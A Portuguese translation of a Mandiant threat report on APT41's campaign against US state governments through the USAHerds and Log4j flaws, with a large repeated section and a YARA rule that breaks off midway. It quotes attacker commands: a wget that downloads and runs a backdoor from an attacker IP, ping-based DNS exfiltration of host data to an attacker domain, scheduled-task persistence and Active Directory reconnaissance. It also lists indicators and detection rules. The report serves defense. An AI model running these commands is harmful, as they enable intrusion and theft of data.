Isso parece infectado? Um resumo do APT41 direcionado aos governos estaduais dos EUA
ATUALIZAÇÃO (8 de março): A postagem original pode não ter fornecido total clareza de que o CVE-2021-44207 (USAHerds) tinha um patch desenvolvido pela Acclaim Systems para implantações aplicáveis em ou por volta de 15 de novembro de 2021. A Mandiant não pode falar com os afetados compilações, implantação, adoção ou outros fatores técnicos deste patch de vulnerabilidade além de sua disponibilidade.
APT41GovernoEstados Unidos da América KEYPLUG, APT41, ViewState, Cobalt Strike – S0154 T1090 – Proxy,T1102 – Serviço Web,T1053 – Tarefa/Trabalho Agendado, T1564 – Ocultar Artefatos,T1003 – Despejo de credenciais do SO, T1560 – Arquivar dados coletados
Em maio de 2021, a Mandiant respondeu a uma intrusão do APT41 visando uma rede de computadores do governo estadual dos Estados Unidos. Este foi apenas o começo da visão da Mandiant sobre uma campanha persistente de meses conduzida pela APT41 usando aplicativos web vulneráveis voltados para a Internet como seu ponto de apoio inicial nas redes de interesse. O APT41 é um prolífico grupo de espionagem patrocinado pelo Estado chinês conhecido por visar organizações nos setores público e privado e também realiza atividades motivadas financeiramente para ganho pessoal.
Nesta postagem do blog, detalhamos o esforço persistente do APT41 que permitiu que eles comprometessem com sucesso pelo menos seis redes do governo estadual dos EUA, explorando aplicativos da Web vulneráveis à Internet, incluindo o uso de uma vulnerabilidade de dia zero no aplicativo USAHerds (CVE-2021-44207) como bem como o agora infame dia zero no Log4j (CVE-2021-44228). Embora os objetivos gerais da campanha do APT41 permaneçam desconhecidos, nossas investigações sobre cada uma dessas invasões revelaram uma variedade de novas técnicas, variantes de malware, métodos de evasão e recursos.
Embora o APT41 tenha historicamente realizado varredura em massa e exploração de vulnerabilidades, nossas investigações sobre a atividade do APT41 entre maio de 2021 e fevereiro de 2022 descobriram evidências de uma campanha deliberada direcionada aos governos estaduais dos EUA. Durante esse período, o APT41 comprometeu com sucesso pelo menos seis redes do governo estadual dos EUA por meio da exploração de aplicativos Web vulneráveis voltados para a Internet, geralmente escritos em ASP.NET. Na maioria dos comprometimentos de aplicativos da Web, o APT41 conduziu ataques de desserialização do .NET; no entanto, também observamos o APT41 explorando vulnerabilidades de injeção de SQL e passagem de diretório.
Na instância em que o APT41 obteve acesso por meio de uma vulnerabilidade de injeção de SQL em um aplicativo da Web proprietário, o Mandiant Managed Defense detectou e conteve a atividade rapidamente; no entanto, duas semanas depois, o APT41 voltou a comprometer a rede, explorando uma vulnerabilidade de dia zero anteriormente desconhecida em um aplicativo comercial de prateleira (CoTS), USAHerds. Em dois outros casos, a Mandiant iniciou uma investigação em uma agência estadual apenas para descobrir que o APT41 também havia comprometido uma agência separada e não relacionada no mesmo estado.
O APT41 também foi rápido em adaptar e usar vulnerabilidades divulgadas publicamente para obter acesso inicial às redes de destino, mantendo as operações existentes. Em 10 de dezembro de 2021, a Apache Foundation lançou um aviso para uma vulnerabilidade crítica de execução remota de código (RCE) na estrutura de log comumente usada Log4J. Poucas horas após o aviso, o APT41 começou a explorar a vulnerabilidade para posteriormente comprometer pelo menos dois governos estaduais dos EUA, bem como seus alvos mais tradicionais nos setores de seguros e telecomunicações.
No final de fevereiro de 2022, o APT41 voltou a comprometer duas vítimas anteriores do governo estadual dos EUA. Nossas investigações em andamento mostram que a atividade está estreitamente alinhada com a atividade de maio a dezembro de 2021 do APT41, representando uma continuação de sua campanha em 2022 e demonstrando seu desejo incessante de acessar as redes do governo estadual. Uma linha do tempo de intrusões representativas desta campanha pode ser vista na Figura 1.
Figura 1: Cronograma da campanha do governo estadual dos EUA
Os objetivos desta campanha são atualmente desconhecidos, embora a Mandiant tenha observado evidências do APT41 exfiltrando informações de identificação pessoal (PII). Embora a vitimologia e o direcionamento dos dados PII sejam consistentes com uma operação de espionagem, a Mandiant não pode fazer uma avaliação definitiva neste momento, devido ao histórico de trabalho clandestino do APT41 para ganho financeiro pessoal.
O APT41 usou principalmente ViewStates maliciosos para acionar a execução de código em aplicativos da Web direcionados. Dentro da estrutura ASP.NET, ViewState é um método para armazenar a página do aplicativo e os valores de controle em solicitações HTTP de e para o servidor. O ViewState é enviado ao servidor com cada solicitação HTTP como uma string codificada em Base64 em um campo de formulário oculto. O servidor web decodifica a string e aplica transformações adicionais à string para que ela possa ser descompactada em estruturas de dados que o servidor possa usar. Esse processo é conhecido como desserialização.
A desserialização insegura da entrada fornecida pelo usuário pode resultar na execução do código. O ASP.NET tem vários provedores de desserialização inseguros , incluindo o usado para ViewStates: ObjectStateFormatter . Para evitar que um agente de ameaças manipule o ViewState e aproveite o provedor de desserialização inseguro, o ViewState é protegido por um Código de autenticação de mensagem (MAC). Esse MAC é um valor de hash assinado criptograficamente que o servidor usa para garantir que o ViewState não tenha sido adulterado, possivelmente para acionar a execução do código. A integridade do ViewState depende da confidencialidade da machineKey do aplicativo. A machineKey é armazenada no servidor de aplicativos em um arquivo de configuração chamadoweb.config .
Figura 2 Exemplo de atributo machineKey de um arquivo web.config
<machineKey validationKey=”XXXXXXXXXXXXXXXXX” decryptionKey=”XXXXXXXXXXXXXXXXXXXXXX” validation=”SHA1″ />
Um agente de ameaças com conhecimento do machineKey pode construir um ViewState malicioso e, em seguida, gerar um MAC novo e válido que o servidor aceita. Com um MAC válido, o servidor desserializará o ViewState malicioso, resultando na execução de código no servidor. Ferramentas disponíveis publicamente, como YSoSerial .NET , existem para construir esses ViewStates maliciosos. Foi exatamente assim que a APT41 iniciou sua campanha em maio de 2021.
Em junho de 2020, um ano antes do APT41 iniciar esta campanha, a Mandiant investigou um incidente em que o APT41 explorou uma vulnerabilidade de passagem de diretório especificamente para ler o arquivo web.config de um aplicativo da web vulnerável em um servidor da web da vítima. O APT41 então usou os valores machineKey do arquivo web.config para gerar uma carga maliciosa do ViewState para um exploit de desserialização. A Mandiant não identificou como o APT41 obteve originalmente os valores machineKey para o aplicativo proprietário explorado em maio de 2021 ou o aplicativo USAHerds, que foi explorado pela primeira vez em julho de 2021. No entanto, é provável que o APT41 tenha obtido o arquivo web.config por meios semelhantes.
Para criar ViewStates maliciosos, o APT41 contou com o projeto Github disponível publicamente, YSoSerial.NET. Para carregar com êxito assemblies .NET arbitrários na memória, o APT41 define o sinalizador de propriedade DisableActivitySurrogateSelectorTypeCheck como true na classe ConfigurationManager.AppSettings do aplicativo em execução por meio do payload ViewState. O APT41 carregou posteriormente assemblies .NET na memória usando cargas YSoSerial adicionais configuradas para gravar webshells em um caminho de arquivo codificado no disco.
Figura 3: Montagem .NET desserializada (dnSpy)
A Figura 4 mostra um exemplo de webshell JScript implantado por meio de um objeto ViewState malicioso pelo APT41 que utiliza a página de código 936 para a linguagem de teclado chinês simplificado.
Figura 4: Webshell JScript desserializado
Para obter informações adicionais sobre explorações de desserialização e nossa nova ferramenta de geração de regras de busca ‘HeySerial‘, leia nossa postagem no blog Now You Serial, Now You Don’t — Systematicalally Hunting for Deserialization Exploits.
Em três investigações de 2021, o APT41 explorou uma vulnerabilidade de dia zero no aplicativo da Web USAHerds. USAHerds é um aplicativo CoTS escrito em ASP.NET e usado por 18 estados para gerenciamento de saúde animal. A vulnerabilidade no USAHerds (CVE-2021-44207) é semelhante a uma vulnerabilidade relatada anteriormente no Microsoft Exchange Server (CVE-2020-0688), em que os aplicativos usavam uma validação estáticaKey e decryptionKey (coletivamente conhecidas como machineKey) por padrão. Como resultado, todas as instalações do USAHerds compartilharam esses valores, o que é contra a prática recomendada de usar valores machineKey gerados exclusivamente por instância do aplicativo.
A geração de valores machineKey exclusivos é fundamental para a segurança de um aplicativo Web ASP.NET porque os valores são usados para proteger a integridade do ViewState.
A Mandiant não identificou como o APT41 obteve originalmente os valores machineKey para USAHerds; no entanto, uma vez que o APT41 obteve o machineKey , eles foram capazes de comprometer qualquer servidor na Internet executando o USAHerds. Como resultado, há potencialmente vítimas desconhecidas adicionais.
A campanha APT41 mais recente começou logo após o lançamento do CVE-2021-44228 e suas explorações de prova de conceito relacionadas em dezembro de 2021. A exploração dessa vulnerabilidade, também conhecida como Log4Shell, faz com que o Java busque e desserialize um objeto Java remoto, resultando na execução de código potencial. Semelhante ao direcionamento de aplicativos da Web anterior, o APT41 continuou a usar cargas úteis de desserialização geradas pelo YSoSerial para realizar reconhecimento e implantar backdoors. Notavelmente, o APT41 implantou uma nova variante do backdoor KEYPLUG em servidores Linux em várias vítimas, uma subfamília de malware que agora rastreamos como KEYPLUG.LINUX. O KEYPLUG é um backdoor modular escrito em C++ que suporta vários protocolos de rede para tráfego de comando e controle (C2), incluindo HTTP, TCP, KCP sobre UDP e WSS. O APT41 usou fortemente a versão Windows do backdoor KEYPLUG nas vítimas do governo estadual entre junho de 2021 e dezembro de 2021, portanto, a implantação de uma versão portada do backdoor seguindo de perto a campanha do governo estadual foi significativa.
Depois de explorar o Log4Shell, o APT41 continuou a usar cargas úteis de desserialização para emitir comandos de ping para domínios, uma técnica que o APT41 costumava usar em vítimas do governo meses antes. Um exemplo de comando ping é mostrado na Figura 5.
Figura 5: Comando Ping para Infraestrutura Controlada pelo Atacante
ping -c 1 libxqagv[.]ns[.]dns3[.]cf
Ao obter acesso a um ambiente de destino, o APT41 executou o reconhecimento do host e da rede antes de implantar o KEYPLUG.LINUX para estabelecer uma base no ambiente. Os comandos de amostra usados para implantar o KEYPLUG.LINUX podem ser vistos na Figura 6.
Figura 6: Implantação do KEYPLUG.LINUX após a exploração do Log4j
wget http://103.224.80[.]44:8080/kernel
chmod 777 kernel
mv kernel .kernel
nohup ./.kernel &
O tradecraft atualizado e o novo malware continuam mostrando que o APT41 é um ator altamente adaptável e engenhoso. Nesta seção, detalhamos as técnicas pós-compromisso mais pertinentes.
Depois de obter acesso inicial a um servidor voltado para a Internet, o APT41 realizou extenso reconhecimento e coleta de credenciais. Uma tática comum observada é a implantação de um binário BADPATATO ofuscado pelo ConfuserEx para abusar da representação de pipe nomeado para o escalonamento de privilégio NT AUTHORITY\SYSTEM local. Depois que o APT41 escalou para os privilégios NT AUTHORITY\ SYSTEM, eles copiaram os hives de registro SAM e SYSTEM locais para um diretório de teste para coleta e exfiltração de credenciais. Além disso, o APT41 usou Mimikatz para executar o comando lsadump::sam nos hives de registro despejados para obter credenciais armazenadas localmente e hashes NTLM.
O APT41 também realizou o reconhecimento do Active Directory carregando a ferramenta de linha de comando do Windows dsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) e seu módulo associado dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) para um diretório de teste no servidor comprometido. A Figura 7 mostra vários comandos dsquery usados para enumerar vários objetos do Active Directory no ambiente.
Figura 7: Comandos de reconhecimento do Active Directory dsquery
c:\programdata\dsquery.exe * -filter “(objectCategory=Person)” -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Computer)” -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Computer)” -attr cnservicePrincipalName -L -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Group)” -uc -attr cn sAMAccountName distinguishedName description -limit 0
c:\programdata\dsquery.exe * -filter “(objectClass=organizationalUnit)” -attr ou name whenCreated distinguishedName gPLink -limit 0
Durante o estágio inicial de uma invasão do governo estadual dos EUA, a Mandiant identificou uma nova família de malware usada pelo APT41 que rastreamos como DUSTPAN. DUSTPAN é um dropper na memória escrito em C++ que aproveita o ChaCha20 para descriptografar cargas úteis incorporadas. Diferentes variações do DUSTPAN também podem carregar e executar uma carga útil de um caminho de arquivo codificado criptografado no binário. O DUSTPAN é consistente com o StealthVector de nome público , relatado pela Trend Micro em agosto de 2021. Durante a invasão, o DUSTPAN foi usado para soltar um backdoor Cobalt Strike BEACON.
O APT41 continua a alavancar malware avançado em seu kit de ferramentas existente, como o lançador DEADEYE e o backdoor LOWKEY, com recursos adicionais e técnicas anti-análise para dificultar as investigações. Durante uma invasão recente, a Mandiant identificou uma nova variante de malware, DEADEYE.EMBED, contida em um Alternate Data Stream de um arquivo local. As variantes DEADEYE.EMBED incorporam a carga útil dentro do binário compilado em vez de anexadas à sobreposição no final do arquivo, como visto em DEADEYE.APPEND.
O APT41 geralmente empacota seu malware com o VMProtect para retardar os esforços de engenharia reversa. Durante várias invasões do governo estadual dos EUA, o APT41 incorporou outra técnica de anti-análise ao fragmentar um binário DEADEYE empacotado pelo VMProtect em várias seções no disco. Dividir o binário em vários arquivos reduz a chance de que todas as amostras possam ser adquiridas com sucesso durante uma investigação forense. Convenções comuns de nomenclatura de arquivos usadas pelo APT41 ao implantar o DEADEYE em hosts vítimas podem ser vistas na Figura 8.
Figura 8: Nomes de arquivo DEADEYE
Esses arquivos seriam então combinados em uma única DLL antes da execução, conforme visto na Figura 9.
Figura 9: Comando DEADEYE para concatenar seções DEADEYE
“cmd” /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll
Além de separar o malware empacotado do VMProtect no disco, o APT41 alterou os nomes de seção padrão do VMProtect (.vmp) para nomes de seção UPX (.upx). Ao fazer isso, o malware pode evitar detecções básicas de caça que sinalizam binários empacotados com o VMProtect. Durante a exploração do Log4j, o APT41 também fragmentou um binário KEYPLUG.LINUX em quatro arquivos separados chamados “xaa”, ” xab”, ” xac” e ”xad”. O APT41 também empacotou o binário KEYPLUG.LINUX com VMProtect e usou nomes de seção UPX. Essa técnica é muito baixa em prevalência em nosso repositório de malware e ainda mais baixa em prevalência ao pesquisar em arquivos ELF.
O APT41 também atualizou os recursos de proteção de execução do DEADEYE usados durante a campanha. Guardrailing é uma técnica usada por malware para garantir que o binário seja executado apenas em sistemas que o agente da ameaça pretendia. As amostras DEADEYE de campanhas mais antigas usaram o número de série do volume do computador da vítima, mas foram atualizadas para usar o nome do host e/ou domínio DNS durante a campanha do governo estadual dos EUA. Para adquirir o nome de host e o domínio DNS do computador local, DEADEYE executa as funções WinAPI GetComputerNameA e/ou GetComputerNameExA e as fornece como entrada para uma chave de descriptografia gerada.
O APT41 continua a alavancar o tradecraft avançado para permanecer persistente e não detectado. Em várias instâncias, a versão para Windows do backdoor KEYPLUG aproveitou resolvedores de dead drop em dois fóruns separados da comunidade de tecnologia. O malware busca seu verdadeiro endereço C2 de dados codificados em uma postagem específica do fórum. Notavelmente, o APT41 continua atualizando as postagens do fórum da comunidade com frequência com novos resolvedores de dead drop durante a campanha. Historicamente, o APT41 tem usado esse tradecraft exclusivo durante outras invasões para ajudar a manter sua infraestrutura C2 oculta.
Para persistir a execução do DEADEYE, o APT41 aproveitou o comando schtasks /change para modificar as tarefas agendadas existentes que são executadas no contexto de SYSTEM. O APT41 geralmente usa o binário vivendo fora da terra (lolbin) shell32.dll!ShellExec_RunDLLA em tarefas agendadas para execução binária, como o exemplo mostrado na Figura 10.
Figura 10: Tarefa Agendada Modificada
SCHTASKS /Change /tn “\Microsoft\Windows\PLA\Server Manager Performance Monitor” /TR “C:\windows\system32\rundll32.exe C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat” /RL HIGHEST /RU “” /ENABLE
O APT41 aproveitou as seguintes tarefas agendadas do Windows para a persistência de droppers DEADEYE em invasões do governo estadual dos EUA:
• \Microsoft\Windows\PLA\Server Manager Performance Monitor
• \Microsoft\Windows\Ras\ManagerMobility
• \Microsoft\Windows\WDI\SrvSetupResults
• \Microsoft\Windows\WDI\USOShared
Outra técnica usada pelo APT41 para lançar malware é por meio da adição de uma importação maliciosa à Tabela de Endereços de Importação (IAT) de binários legítimos do Windows PE. Como resultado, assim que o binário legítimo for executado, ele carregará a biblioteca maliciosa e chamará seu DllEntryPoint. Um IAT modificado de um binário legítimo do Microsoft HealthService.exe pode ser visto na Figura 11.
Figura 11: IAT modificado (CFF Explorer)
O APT41 continua adaptando seu malware aos ambientes das vítimas por meio de seu backdoor passivo furtivo LOWKEY.PASSIVE. Durante uma intrusão, o APT41 explorou um servidor USAHerds e, posteriormente, executou DEADEYE.APPEND que descartou LOWKEY.PASSIVE na memória. A amostra LOWKEY.PASSIVE identificada ouviu conexões de entrada que solicitam um dos seguintes endpoints de URL:
• http://<HOST:PORT>/USAHerds/Common/%s.css
• https://<HOST:PORT>/USAHerds/Common/%s.css
O APT41 configurou frequentemente endpoints de URL LOWKEY.PASSIVE para se mascarar como tráfego normal de aplicativos da Web em um servidor infectado.
O APT41 aumentou substancialmente o uso dos serviços Cloudflare para comunicações C2 e exfiltração de dados. Especificamente, o APT41 aproveitou o Cloudflare Workers para implantar código sem servidor acessível por meio do Cloudflare CDN, que ajuda o tráfego C2 do proxy para a infraestrutura operada pelo APT41.
Em várias vítimas, o APT41 emitiu comandos de ping em que a saída de um comando de reconhecimento foi anexada a subdomínios da infraestrutura com proxy da Cloudflare. Depois que o comando ping foi executado, o resolvedor de DNS local tentou resolver o domínio fabricado que contém a saída do comando anexado. A pesquisa direta de DNS acabou atingindo os servidores de nomes Cloudflare do domínio primário, que não conseguiram resolver um endereço IP para o domínio fabricado. No entanto, os logs de atividade do DNS do domínio controlado pelo invasor registraram a pesquisa de DNS do subdomínio, permitindo que o grupo coletasse a saída do comando de reconhecimento.
Exemplos desta técnica podem ser vistos na Figura 12 a Figura 15.
Figura 12: Exfiltração de Reconhecimento
$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace(‘-‘,”)+””[.]ns[.]time12[.]cf””)
Figura 13: Exfiltração de Reconhecimento
cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf
Na Figura 14, o APT41 emitiu um comando para encontrar o número de série do volume do sistema, que historicamente tem sido usado como chave de descriptografia para cargas úteis DEADEYE.
Figura 14: Exfiltração do número de série do volume
ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+’.ns[.]time12[.]cf
Neste último exemplo, o comando imprime o comprimento do arquivo syslog_6-1.dat, provavelmente para garantir que ele tenha sido totalmente gravado no disco antes de combinar os vários arquivos no executável malicioso completo.
Figura 15: Exfiltração do tamanho do arquivo
ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+””.ns[.]time12[.]cf””)
O APT41 aproveitou a técnica acima mencionada para mais exfiltração de dados por codificação hexadecimal de dados PII e antecedendo os resultados como subdomínios do domínio controlado pelo invasor. As pesquisas de DNS resultantes acionadas pelos comandos ping seriam registradas nos logs de atividade e disponíveis para o APT41.
O uso contínuo dos serviços Cloudflare pelo APT41 é exemplificado ainda mais em exemplos KEYPLUG desenvolvidos recentemente. A Mandiant identificou um recurso exclusivo adicionado ao KEYPLUG que aproveita o protocolo WebSocket sobre TLS (WSS) para comunicação C2. De acordo com a Cloudflare, o tráfego WebSocket pode ser estabelecido por meio dos servidores de borda Cloudflare CDN, que farão proxy de dados para o servidor de origem especificado.
O KEYPLUG inclui um arquivo de configuração codificado XOR de um byte codificado que lista o protocolo de comunicação específico, servidores e configurações adicionais. Depois que o KEYPLUG decodificar o arquivo de configuração codificado em tempo de execução, ele analisará a configuração para determinar o protocolo de rede e os servidores apropriados a serem usados para comando e controle. Depois que a configuração é analisada, o KEYPLUG escolhe aleatoriamente um bloco CIDR da lista e, em seguida, escolhe aleatoriamente um endereço IP dentro do bloco CIDR com base na contagem de ticks atual do computador infectado.
A Figura 16 detalha um arquivo de configuração de exemplo identificado durante uma recente invasão do governo estadual dos EUA.
Figura 16: Configuração do KEYPLUG
WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1|
Os blocos CIDR listados na Figura 16 são infraestrutura associada à CDN da Cloudflare que redirecionará a conexão WSS para o domínio malicioso
A Figura 17 é um exemplo de solicitação HTTP enviada pelo KEYPLUG para iniciar e atualizar para o protocolo WSS usando a infraestrutura Cloudflare.
Figura 17: Solicitação de atualização HTTP KEYPLUG
Notificamos a Cloudflare sobre essa atividade maliciosa e eles tomaram medidas imediatas para interromper as comunicações com a infraestrutura maliciosa. O aumento do uso dos serviços Cloudflare pelo APT41 indica o desejo de aproveitar a flexibilidade do Cloudflare e impedir a identificação e o bloqueio de seus verdadeiros servidores C2.
Panorama
A atividade recente do APT41 contra os governos estaduais dos EUA consiste em novos recursos significativos, desde novos vetores de ataque até ferramentas e técnicas pós-comprometimento. O APT41 pode adaptar rapidamente suas técnicas de acesso inicial, comprometendo novamente um ambiente por meio de um vetor diferente ou operacionalizando rapidamente uma nova vulnerabilidade. O grupo também demonstra vontade de reequipar e implantar recursos por meio de novos vetores de ataque, em vez de mantê-los para uso futuro. APT41 explorando o Log4J em estreita proximidade com a campanha USAHerds mostrou a flexibilidade do grupo para continuar visando governos estaduais dos EUA por meio de vetores de ataque cultivados e cooptados. Apesar de todas as novidades, algumas coisas permanecem inalteradas: o APT41 continua implacável pela acusação do Departamento de Justiça dos EUA (DOJ) em setembro de 2020.
Indicadores
Família de malware MD5 SHA1 SHA256
KEYPLUG.LINUX 900ca3ee85dfc109baeed4888ccb5d39 355b3ff61db44d18003537be8496eb03536e300f e024ccc4c72eb5813cc2b6db7975e4750337a1cc619d7339b21fdbb32d93fd85
KEYPLUG.LINUX b82456963d04f44e83442b6393face47 996aa691bbc1250b571a2f5423a5d5e2da8317e6 d7e8cc6c19ceebf0e125c9f18b50167c0ee65294b3fce179fdab560e3e8e0192
DSQUERY 49f1daea8a115dd6fce51a1328d863cf e85427af661fe5e853c8c9398dc46ddde50e2241 ebf28e56ae5873102b51da2cc49cbbe43192ca2f318c4dfc874448d9b85ebd00
DSQUERY b108b28138b93ec4822e165b82e41c7a 7056b044f97e3e349e3e0183311bb44b0bc3464f 062a7399100454c7a523a938293bef7ddb0bc10636ed402be5f9797d8cc3c57e
BADPOTATO 143278845a3f5276a1dd5860e7488313 6f6b51e6c88e5252a2a117ca1cfb57934930166b a4647fcb35c79f26354c34452e4a03a1e4e338a80b2c29db97bba4088a208ad0
Contexto Indicador(es)
Campanha do Governo do Estado dos EUA – USAHerds (CVE-2021-44207) Exploração 194[.]195[.]125[.]121
194[.]156[.]98[.]12
54[.]248[.]110[.]45
45[.]153[.]231[.]31
185[.]118[.]167[.]40
104[.]18[.]6[.]251
104[.]18[.]7[.]251
20[.]121[.]42[.]11
34[.]139[.]13[.]46
54[.]80[.]67[.]241
149[.]28[.]15[.]152
18[.]118[.]56[.]237
107[.]172[.]210[.]69
172[.]104[.]206[.]48
67[.]205[.]132[.]162
45[.]84[.]1[.]181
cdn[.]ns[.]time12[.]cf
leste[.]winsproxy[.]com
afdentry[.]estação de trabalho[.]eu[.]org
ns1[.]entrydns[.]eu[.]org
subnet[.]milissegundos[.]com
work[.]viewdns[.]ml
work[.]queryip[.]cf
Log4j (CVE-2021-44228) Exploração 103[.]238[.]225[.]37
182[.]239[.]92[.]31
microsoftfile[.]com
down-flash[.]com
libxqagv[.]ns[.]dns3[.]cf
Detecções
rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config
{
meta:
author = “Mandiant”
description = “Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives.”
strings:
// TCP
$tcp1 = “TCP://” xor(0x01-0x2E)
$tcp2 = “TCP://” xor(0x30-0xFF)
$ptcp1 = “|TCP://” xor(0x01-0x2E)
$ptcp2 = “|TCP://” xor(0x30-0xFF)
// UDP
$udp1 = “UDP://” xor(0x01-0x2E)
$udp2 = “UDP://” xor(0x30-0xFF)
$pudp1 = “|UDP://” xor(0x01-0x2E)
$pudp2 = “|UDP://” xor(0x30-0xFF)
// WSS
$wss1 = “WSS://” xor(0x01-0x2E)
$wss2 = “WSS://” xor(0x30-0x52)
$wss3 = “WSS://” xor(0x54-0xFF)
$pwss1 = “|WSS://” xor(0x01-0x2E)
$pwss2 = “|WSS://” xor(0x30-0x52)
$pwss3 = “|WSS://” xor(0x54-0xFF)
// HTTP
$http1 = “+http” xor(0x01-0x73)
$http2 = “+http” xor(0x75-0xFF)
$phttp1 = “|+http” xor(0x01-0x73)
$phttp2 = “|+http” xor(0x75-0xFF)
// Sleep value
Parte superior do formulário
Parte inferior do formulário
• Malwares
• Vulnerabilidades
Isso parece infectado? Um resumo do APT41 direcionado aos governos estaduais dos EUA
RUFUS BROWN, VAN TA, DOUGLAS BIENSTOCK, GEOFF ACKERMAN, JOHN WOLFRAM
Por
Redação
–
9 de março de 2022 10:15
ATUALIZAÇÃO (8 de março): A postagem original pode não ter fornecido total clareza de que o CVE-2021-44207 (USAHerds) tinha um patch desenvolvido pela Acclaim Systems para implantações aplicáveis em ou por volta de 15 de novembro de 2021. A Mandiant não pode falar com os afetados compilações, implantação, adoção ou outros fatores técnicos deste patch de vulnerabilidade além de sua disponibilidade.
APT41 Governo Estados Unidos da América
KEYPLUG, APT41, ViewState, Cobalt Strike – S0154
T1090 – Proxy,T1102 – Serviço Web,T1053 – Tarefa/Trabalho Agendado, T1564 – Ocultar Artefatos,T1003 – Despejo de credenciais do SO, T1560 – Arquivar dados coletados
Em maio de 2021, a Mandiant respondeu a uma intrusão do APT41 visando uma rede de computadores do governo estadual dos Estados Unidos. Este foi apenas o começo da visão da Mandiant sobre uma campanha persistente de meses conduzida pela APT41 usando aplicativos web vulneráveis voltados para a Internet como seu ponto de apoio inicial nas redes de interesse. O APT41 é um prolífico grupo de espionagem patrocinado pelo Estado chinês conhecido por visar organizações nos setores público e privado e também realiza atividades motivadas financeiramente para ganho pessoal.
Nesta postagem do blog, detalhamos o esforço persistente do APT41 que permitiu que eles comprometessem com sucesso pelo menos seis redes do governo estadual dos EUA, explorando aplicativos da Web vulneráveis à Internet, incluindo o uso de uma vulnerabilidade de dia zero no aplicativo USAHerds (CVE-2021-44207) como bem como o agora infame dia zero no Log4j (CVE-2021-44228). Embora os objetivos gerais da campanha do APT41 permaneçam desconhecidos, nossas investigações sobre cada uma dessas invasões revelaram uma variedade de novas técnicas, variantes de malware, métodos de evasão e recursos.
Embora o APT41 tenha historicamente realizado varredura em massa e exploração de vulnerabilidades, nossas investigações sobre a atividade do APT41 entre maio de 2021 e fevereiro de 2022 descobriram evidências de uma campanha deliberada direcionada aos governos estaduais dos EUA. Durante esse período, o APT41 comprometeu com sucesso pelo menos seis redes do governo estadual dos EUA por meio da exploração de aplicativos Web vulneráveis voltados para a Internet, geralmente escritos em ASP.NET. Na maioria dos comprometimentos de aplicativos da Web, o APT41 conduziu ataques de desserialização do .NET; no entanto, também observamos o APT41 explorando vulnerabilidades de injeção de SQL e passagem de diretório.
Na instância em que o APT41 obteve acesso por meio de uma vulnerabilidade de injeção de SQL em um aplicativo da Web proprietário, o Mandiant Managed Defense detectou e conteve a atividade rapidamente; no entanto, duas semanas depois, o APT41 voltou a comprometer a rede, explorando uma vulnerabilidade de dia zero anteriormente desconhecida em um aplicativo comercial de prateleira (CoTS), USAHerds. Em dois outros casos, a Mandiant iniciou uma investigação em uma agência estadual apenas para descobrir que o APT41 também havia comprometido uma agência separada e não relacionada no mesmo estado.
O APT41 também foi rápido em adaptar e usar vulnerabilidades divulgadas publicamente para obter acesso inicial às redes de destino, mantendo as operações existentes. Em 10 de dezembro de 2021, a Apache Foundation lançou um aviso para uma vulnerabilidade crítica de execução remota de código (RCE) na estrutura de log comumente usada Log4J. Poucas horas após o aviso, o APT41 começou a explorar a vulnerabilidade para posteriormente comprometer pelo menos dois governos estaduais dos EUA, bem como seus alvos mais tradicionais nos setores de seguros e telecomunicações.
No final de fevereiro de 2022, o APT41 voltou a comprometer duas vítimas anteriores do governo estadual dos EUA. Nossas investigações em andamento mostram que a atividade está estreitamente alinhada com a atividade de maio a dezembro de 2021 do APT41, representando uma continuação de sua campanha em 2022 e demonstrando seu desejo incessante de acessar as redes do governo estadual.
Cronograma da campanha do governo estadual dos EUA.
Os objetivos desta campanha são atualmente desconhecidos, embora a Mandiant tenha observado evidências do APT41 exfiltrando informações de identificação pessoal (PII). Embora a vitimologia e o direcionamento dos dados PII sejam consistentes com uma operação de espionagem, a Mandiant não pode fazer uma avaliação definitiva neste momento, devido ao histórico de trabalho clandestino do APT41 para ganho financeiro pessoal.
O APT41 usou principalmente ViewStates maliciosos para acionar a execução de código em aplicativos da Web direcionados. Dentro da estrutura ASP.NET, ViewState é um método para armazenar a página do aplicativo e os valores de controle em solicitações HTTP de e para o servidor. O ViewState é enviado ao servidor com cada solicitação HTTP como uma string codificada em Base64 em um campo de formulário oculto. O servidor web decodifica a string e aplica transformações adicionais à string para que ela possa ser descompactada em estruturas de dados que o servidor possa usar. Esse processo é conhecido como desserialização.
A desserialização insegura da entrada fornecida pelo usuário pode resultar na execução do código. O ASP.NET tem vários provedores de desserialização inseguros , incluindo o usado para ViewStates: ObjectStateFormatter . Para evitar que um agente de ameaças manipule o ViewState e aproveite o provedor de desserialização inseguro, o ViewState é protegido por um Código de autenticação de mensagem (MAC). Esse MAC é um valor de hash assinado criptograficamente que o servidor usa para garantir que o ViewState não tenha sido adulterado, possivelmente para acionar a execução do código. A integridade do ViewState depende da confidencialidade da machineKey do aplicativo. A machineKey é armazenada no servidor de aplicativos em um arquivo de configuração chamadoweb.config .
Exemplo de atributo machineKey de um arquivo. web.config
<machineKey validationKey=”XXXXXXXXXXXXXXXXX” decryptionKey=”XXXXXXXXXXXXXXXXXXXXXX” validation=”SHA1″ />
